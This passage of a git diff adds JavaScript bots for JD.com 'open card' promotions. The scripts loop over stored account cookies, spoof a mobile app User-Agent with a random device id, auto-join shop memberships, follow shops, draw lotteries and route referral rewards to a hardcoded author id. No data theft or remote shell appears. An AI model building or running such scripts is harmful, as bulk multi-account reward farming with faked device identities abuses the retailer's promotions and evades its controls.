"application/x-www-form-urlencoded", + 'Cookie': `${cookie} ${activityCookie} ${$.Pin && "AUTH_C_USER=" + $.Pin + ";" || ""}`, + "Host": "lzdz1-isv.isvjcloud.com", + "Origin": "https://lzdz1-isv.isvjcloud.com", + "X-Requested-With": "XMLHttpRequest", + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/7768835?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + "User-Agent": $.UA , + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard13.js b/backUp/gua_opencard13.js new file mode 100644 index 0000000..d4c3346 --- /dev/null +++ b/backUp/gua_opencard13.js @@ -0,0 +1,736 @@ +/* +8.18-8.26 全民发一发 大牌狂欢趴 [gua_opencard13.js] +新增开卡脚本 +一次性脚本 + +邀请一人20豆 被邀请也有20豆(有可能没有豆 +开2组卡 抽奖可能获得30京豆(有可能有抽到空气💨 +关注10京豆 (有可能是空气💨 +加购5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku13]为"true" + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard13="true" +———————————————— +入口:[8.18-8.26 全民发一发 大牌狂欢趴 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/3542672?activityId=375dbaa9e32c4c70bb8357836956ed2e&shareUuid=016ba2d74d69402c946d0f80af002f54)] +============Quantumultx=============== +[task_local] +#8.18-8.26 全民发一发 大牌狂欢趴 +30 9,21 18-26 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard13.js, tag=8.18-8.26 全民发一发 大牌狂欢趴, enabled=true + +================Loon============== +[Script] +cron "30 9,21 18-26 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard13.js,tag=8.18-8.26 全民发一发 大牌狂欢趴 + +===============Surge================= +8.18-8.26 全民发一发 大牌狂欢趴 = type=cron,cronexp="30 9,21 18-26 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard13.js + +============小火箭========= +8.18-8.26 全民发一发 大牌狂欢趴 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard13.js, cronexpr="30 9,21 18-26 8 *", timeout=3600, enable=true +*/ +const $ = new Env('8.18-8.26 全民发一发 大牌狂欢趴'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +let activityCookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let guaopencard_addSku = false +guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku13 ? process.env.guaopencard_addSku13 : `${guaopencard_addSku}`) : ($.getdata('guaopencard_addSku13') ? $.getdata('guaopencard_addSku13') : `${guaopencard_addSku}`); +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if ($.isNode()) { + if (!process.env.guaopencard13 || process.env.guaopencard13 == "false") { + console.log('如需执行脚本请设置环境变量[guaopencard13]为"true"') + return + } + } + $.shareUuid = '016ba2d74d69402c946d0f80af002f54' + $.activityId = '375dbaa9e32c4c70bb8357836956ed2e' + console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/3542672?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + getUA() + console.log(`\n\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await run(); + if(i == 0 && !$.actorUuid) return + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + $.Token = '' + $.Pin = '' + await getCk() + await getToken(); + if($.Token == ''){ + console.log('获取[token]失败!') + return + } + await getSimpleActInfoVo() + $.nickname = ''; + await getMyPing() + if ($.Pin ==="" || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { + $.log("获取活动信息失败!") + return + } + await accessLogWithAD() + $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + await getUserInfo(); + $.actorUuid = ''; + await getActorUuid(); + if(!$.actorUuid){ + console.log('获取不到[actorUuid]退出执行,请重新执行') + return + } + await drawContent(); + await $.wait(1000) + let checkOpenCardData = await checkOpenCard(); + if (checkOpenCardData && !checkOpenCardData.allOpenCard) { + let flag = true + for (let cardList1Element of checkOpenCardData.cardList1) { + if(cardList1Element.status == 0){ + if(flag) console.log('组1') + if(flag) flag = false + console.log(cardList1Element.name) + await join(cardList1Element.value) + await $.wait(1000) + await drawContent(); + } + } + flag = true + for (let cardList1Element of checkOpenCardData.cardList2) { + if(cardList1Element.status == 0){ + if(flag) console.log('组2') + if(flag) flag = false + console.log(cardList1Element.name) + await join(cardList1Element.value) + await $.wait(1000) + await drawContent(); + } + } + await $.wait(1000) + await drawContent(); + checkOpenCardData = await checkOpenCard(); + await $.wait(1000) + } + if(checkOpenCardData && checkOpenCardData.score1 == 1) await startDraw(1) + if(checkOpenCardData && checkOpenCardData.score2 == 1) await startDraw(2) + $.log("关注: " + $.followShop) + if(!$.followShop) await followShop(); + if(!$.followShop) await $.wait(1000) + $.log("加购: " + $.addSku) + if(!$.addSku && guaopencard_addSku+"" != "true") console.log('如需加购请设置环境变量[guaopencard_addSku13]为"true"'); + if(!$.addSku && guaopencard_addSku == "true") await addSku(); + if(!$.addSku && guaopencard_addSku == "true") await $.wait(1000) + await getActorUuid() + await $.wait(1000) + await getDrawRecordHasCoupon() + await $.wait(1000) + await getShareRecord() + $.log($.shareUuid) + if ($.index === 1) { + if($.actorUuid){ + $.shareUuid = $.actorUuid; + console.log(`后面的号都会助力:${$.shareUuid}`) + }else{ + console.log('账号1获取不到[shareUuid]退出执行,请重新执行') + return + } + } + }catch(e){ + console.log(e) + } +} +function getDrawRecordHasCoupon() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + console.log(`我的奖品:`) + let num = 0 + let value = 0 + for(let i in res.data){ + let item = res.data[i] + if(item.value == '邀请好友') num++; + if(item.value == '邀请好友') value = item.infoName.replace('京豆',''); + if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) + } + if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 30}京豆`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`我的奖品 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getShareRecord() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getShareRecord', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + $.log(`=========== 你邀请了:${res.data.length}个`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function addSku() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=2&taskValue=100024016550` + $.post(taskPostUrl('/dingzhi/dz/openCard/saveTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + let msg = '' + if(res.data.addBeanNum){ + msg = `${res.data.addBeanNum}京豆` + } + console.log(`加购获得:${ msg || '空气💨'}`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`加购 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function followShop() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=23&taskValue=1000000904` + $.post(taskPostUrl('/dingzhi/dz/openCard/followShop', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + let msg = '' + if(res.data.addBeanNum){ + msg = `${res.data.addBeanNum}京豆` + } + if(res.data.beanNumMember && res.data.assistSendStatus){ + msg += ` 额外获得:${res.data.beanNumMember}京豆` + } + console.log(`关注获得:${ msg || '空气💨'}`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`关注 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + // console.log($.toStr(data.result)) + // console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/3542672?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.success === true){ + console.log(res.message) + if(res.result && res.result.giftInfo){ + for(let i of res.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(typeof res == 'object' && res.message){ + console.log(`${res.message || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/3542672?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + +function startDraw(type) { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&type=${type}` + $.post(taskPostUrl('/dingzhi/dz/openCard/startDraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // $.log($.toStr(data)) + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + console.log(`抽奖获得:${res.data.drawOk && res.data.name || '空气💨'}`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`抽奖 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function checkOpenCard() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res !== 'object'){ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res && res.data || ''); + } + }) + }) +} + + +function drawContent() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/drawContent',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getActorUuid() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/dz/openCard/activityContent',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.followShop.allStatus != 'undefined') $.followShop = res.data.followShop.allStatus + if(typeof res.data.addSku.allStatus != 'undefined') $.addSku = res.data.addSku.allStatus + if(typeof res.data.actorUuid != 'undefined') $.actorUuid = res.data.actorUuid + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`activityContent ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getUserInfo() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.Pin)}` + $.post(taskPostUrl('/wxActionCommon/getUserInfo',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getUserInfo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function accessLogWithAD() { + return new Promise(resolve => { + let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/3542672?activityId=${$.activityId}&shareUuid=${$.shareUuid}` + let body = `venderId=${$.shopId || $.venderId}&code=99&pin=${encodeURIComponent($.Pin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null` + $.post(taskPostUrl('/common/accessLogWithAD',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + let LZ_TOKEN_KEY = '' + let LZ_TOKEN_VALUE = '' + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' + if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' + } + } + } + if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getMyPing() { + return new Promise(resolve => { + let body = `userId=${$.shopId || $.venderId}&token=${$.Token}&fromType=APP` + $.post(taskPostUrl('/customer/getMyPing',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) + } else { + let res = $.toObj(data) + if(typeof res == 'object' && res.result == true){ + if(res.data && typeof res.data.secretPin != 'undefined') $.Pin = res.data.secretPin + if(res.data && typeof res.data.nickname != 'undefined') $.nickname = res.data.nickname + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getMyPing ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getSimpleActInfoVo() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}` + $.post(taskPostUrl('/dz/common/getSimpleActInfoVo',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId + if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + body: 